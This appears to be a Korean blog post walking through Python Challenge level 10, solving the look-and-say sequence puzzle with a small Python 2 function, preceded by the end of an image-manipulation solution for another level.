        if l < length:
            im2.putpixel((i,j),result[l])
            l= l+2
im2.show()
im3.show()



http://www.pythonchallenge.com/pc/return/evil.html
 

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level16  (0) 2009.12.04
pythonchallenge level 15  (0) 2009.12.03
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21

badcob War game/pythonchallenge

pythonchallenge level10

2009. 10. 20. 02:33
http://www.pythonchallenge.com/pc/return/bull.html

len(a[30]) = ?

가운데 소 그림을 클릭하면 아래와 같은 페이지가 나온다.

a = [1, 11, 21, 1211, 111221,

리스트 a 에서 30번째 값의 길이를 구하면 될 것 같다.

숫자들로 한번 구글링을 해보았다. 아하 요녀석이었구나. 어디선가 많이 본놈.. 

 Look-and-say sequence (http://en.wikipedia.org/wiki/Look-and-say_sequence)

굳은머리 돌려가며 발코딩으로 해결!
def lookAndSay(x):
    number = ''
    count = 0
    tmp = ''
    length = len(x)-1
    while True:
        if length > -1:
            if not number == '' and x[length] == number:
                count += 1
                length -= 1
                continue
            elif not number == '' and not x[length] == number:
                tmp = str(count) + number + tmp
                number = x[length]
                count = 1
                length -= 1
                continue
            else:
                number = x[length]
                count +=1
                length -= 1
                continue
        else:
            if tmp == '':
                tmp = str(count) + number
            else:
                tmp = str(count) + number + tmp
        break
    return tmp

a = [1]
i = 0
while i < 30:
    temp = lookAndSay(str(a[i]))
    a.append(temp)
    i+=1
print 'i',i,'answer',len(str(a[i]))


http://www.pythonchallenge.com/pc/return/5808.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level 15  (0) 2009.12.03
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27

badcob War game/pythonchallenge